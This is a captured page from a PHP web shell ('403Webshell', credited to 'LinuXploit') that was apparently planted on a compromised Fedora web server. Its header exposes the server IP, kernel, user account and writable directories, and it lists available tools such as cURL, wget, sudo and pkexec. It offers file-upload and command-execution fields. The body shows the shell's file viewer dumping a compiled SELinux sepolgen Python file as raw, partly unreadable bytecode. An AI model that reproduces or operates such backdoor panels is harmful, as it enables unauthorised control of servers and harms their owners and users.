403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/sepolgen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/sepolgen/policygen.pyo
Ñò
†·Jc
@sÀdZddkZddkZddkZddkZddkZddkZddkZdZdZ	dZ
ddd„ƒYZde	d„Z
d	„Zd
„Zddd„ƒYZd
„ZdS(s>
classes and algorithms for the generation of SELinux policy.
iÿÿÿÿNiiitPolicyGeneratorcBszeZdZdd„Zddd„Zed„Zed„Z	d„Z
dd„Zd„Zd	„Z
d
„Zd„ZRS(
s¤Generate a reference policy module from access vectors.

    PolicyGenerator generates a new reference policy module
    or updates an existing module based on requested access
    in the form of access vectors.

    It generates allow rules and optionally module require
    statements and reference policy interfaces. By default
    only allow rules are generated. The methods .set_gen_refpol
    and .set_gen_requires turns on interface generation and
    requires generation respectively.

    PolicyGenerator can also optionally add comments explaining
    why a particular access was allowed based on the audit
    messages that generated the access. The access vectors
    passed in must have the .audit_msgs field set correctly
    and .explain set to SHORT|LONG_EXPLANATION to enable this
    feature.

    The module created by PolicyGenerator can be passed to
    output.ModuleWriter to output a text representation.
    cCsBd|_t|_t|_|o
||_ntiƒ|_	dS(søInitialize a PolicyGenerator with an optional
        existing module.

        If the module paramater is not None then access
        will be added to the passed in module. Otherwise
        a new reference policy module will be created.
        N(
tNonetifgentNO_EXPLANATIONtexplaintFalsetgen_requirestmoduelt	refpolicytModuletmodule(tselfR
((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyt__init__>s			
cCs=|ot||ƒ|_t|_n
d|_|iƒdS(s?Set whether reference policy interfaces are generated.

        To turn on interface generation pass in an interface set
        to use for interface generation. To turn off interface
        generation pass in None.

        If interface generation is enabled requires generation
        will also be enabled.
        N(tInterfaceGeneratorRtTrueRRt"_PolicyGenerator__set_module_style(Rtif_sett	perm_maps((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pytset_gen_refpolNs


	cCs
||_dS(s&Set whether module requires are generated.

        Passing in true will turn on requires generation and
        False will disable generation. If requires generation is
        disabled interface generation will also be disabled and
        can only be re-enabled via .set_gen_refpol.
        N(R(Rtstatus((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pytset_gen_requires`scCs
||_dS(s)Set whether access is explained.
        N(R(RR((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pytset_gen_explainjscCsA|io
t}nt}x |iiƒD]}||_q*WdS(N(RRRR
tmodule_declarationsR(RRtmod((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyt__set_module_styleos

s1.0cCs‰d}x|iiƒD]}|}qW|p&tiƒ}|iiid|ƒn||_||_|i	o
t
|_n
t|_dS(s?Set the name of the module and optionally the version.
        iN(RR
RRtModuleDeclarationtchildrentinserttnametversionRRR(RRRtmR((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pytset_module_namews
		

cCs"|iot|iƒn|iS(N(RR
(R((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyt
get_moduleˆs
cCsfx_|D]W}ti|ƒ}|io%tit|d|iƒƒ|_n|iii|ƒqWdS(Nt	verbosity(	RtAVRuleRtCommenttexplain_accesstcommentR
Rtappend(Rtavstavtrule((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyt__add_allow_ruless
%cCsV|io5|ii||iƒ\}}|iii|ƒn|}|i|ƒdS(sJAdd the access from the access vector set to this
        module.
        N(RtgenRR
Rtextendt!_PolicyGenerator__add_allow_rules(Rtav_sett	raw_allowtifcalls((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyt
add_access˜s
	
cCs(x!|D]}|iii|ƒqWdS(N(R
RR&(Rt
role_type_sett	role_type((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pytadd_role_typesªsN(t__name__t
__module__t__doc__RRRRRtSHORT_EXPLANATIONRRRR R-R1R4(((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyR's
				c
s‰g‰‡‡fd†}|tjoÕxÇ|iD]¼}ˆid|iƒˆidt|iƒt|iƒfƒˆid|iti	|i
ƒfƒˆid|i|i|i
fƒˆitid|iddd	d
ddƒƒq/W|ƒnŒ|o„ˆid
|i|i|i|iiƒfƒt|iƒdjo4|id}ˆid|i|i|i
fƒn|ƒnˆS(sªExplain why a policy statement was generated.

    Return a string containing a text explanation of
    why a policy statement was generated. The string is
    commented and wrapped and can be directly inserted
    into a policy.

    Params:
      av - access vector representing the access. Should
       have .audit_msgs set appropriately.
      verbosity - the amount of explanation provided. Should
       be set to NO_EXPLANATION, SHORT_EXPLANATION, or
       LONG_EXPLANATION.
    Returns:
      list of strings - strings explaining the access or an empty
       string if verbosity=NO_EXPLANATION or there is not sufficient
       information to provide an explanation.
    csiˆpdSˆidƒxIˆiƒD];}t|iˆiƒ}ˆid|iƒ|ifƒq&WdS(Ns Interface options:s   %s # [%d](R&talltcall_interfacet	interfaceR(t	to_stringtdist(tmatchtifcall(tmlts(s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pytexplain_interfacesÃs

s %ss  scontext="%s" tcontext="%s"s  class="%s" perms="%s"s  comm="%s" exe="%s" path="%s"s	message="t"iPtinitial_indents  tsubsequent_indents   s) src="%s" tgt="%s" class="%s", perms="%s"is comm="%s" exe="%s" path="%s"(tLONG_EXPLANATIONt
audit_msgsR&theadertstrtscontextttcontextttclassRtlist_to_space_strtaccessestcommtexetpathR,ttextwraptwraptmessagetsrc_typettgt_typet	obj_classtpermstto_space_strtlen(R(R@R!RBtmsg((R@RAs6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyR$®s,

	 	#&	&
'cCst|i|iƒS(N(tcmptnum(tatb((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyt
param_compåscCsþg}g}|i|iiƒƒ|itƒtiƒ}|i|_x°t	t
|ƒƒD]œ}||itijo|i
i|iƒqZ||itijo|i
i|iƒqZ||itijo|i
i|iƒqZ||iGHqZW|S(N(R,tparamstvaluestsortR`Rt
InterfaceCallRtifnametrangeRZttypetSRC_TYPEtargsR&RUtTGT_TYPERVt	OBJ_CLASSRW(R;R(RaRiR?ti((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyR:ès"
R
cBs/eZdd„Zd„Zd„Zd„ZRS(cCs5||_|i|ƒti|ƒ|_g|_dS(N(tifsthack_check_ifstmatchingt
AccessMatchertmatchertcalls(RRmR((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyRs	
cCs¾x·|iiƒD]¦}g}|i|iiƒƒ|itƒxttt|ƒƒD]`}|d||ijot	|_
Pn||iti
titigjot	|_
PqRqRWqWdS(Ni(t
interfacesRbR,RaRcR`RfRZR]RtenabledRgRRhRjRk(RRmtxRaRl((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyRns
		cCs|i|ƒ}g}xk|iD]`}t|iƒi|iƒ}|o%tit|i||ƒƒ|_	n|i
||fƒqWg}xˆ|D]€\}}t}	xS|D]K}
|
i|ƒo5|
i	o!|i	o|
i	i
|i	ƒnt}	q©q©W|	p|i
|ƒqqW||fS(N(R>RrR:tbestR;R(RR#R$R%R&RtmatchestmergeR(RR'R!traw_avR0R@R?tdRmtfoundto_ifcall((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyR+s*
%cCsng}xa|D]Y}tiƒ}|ii|i||ƒt|ƒo|ii|ƒq
|i|ƒq
W|S(N(Rot	MatchListRqt
search_ifsRmRZRrR&(RR'RyR(tans((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyR>6s
N(R5R6RRRnR+R>(((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyR
s		cCs.d„}x|iƒD]}||ƒqWdS(s*Add require statements to the module.
    c	Sstiƒ}xa|iƒD]S}|ii|iƒ|ii|iƒx$|iD]}|i||i	ƒqOWqWx8|i
ƒD]*}x!|iD]}|ii|ƒqWq}Wx:|i
ƒD],}|ii|iƒ|ii|iƒq¸W|iidƒ|iid|ƒdS(NRi(RtRequiretavrulesttypestupdatet	src_typest	tgt_typestobj_classest
add_obj_classRXtinterface_callsRitaddt
role_typestrolestroletdiscardRR(tnodetrtavruletobjR?targR3((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pytcollect_requiresFs&




N(tnodes(R
R“RŽ((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyRCs	
(((R7t	itertoolsRRRtobjectmodeltaccessRsRoRR8RFRRR$R`R:R
R(((s6/usr/lib/python2.6/site-packages/sepolgen/policygen.pyt<module>s ‡7		B

Youez - 2016 - github.com/yon3zu
LinuXploit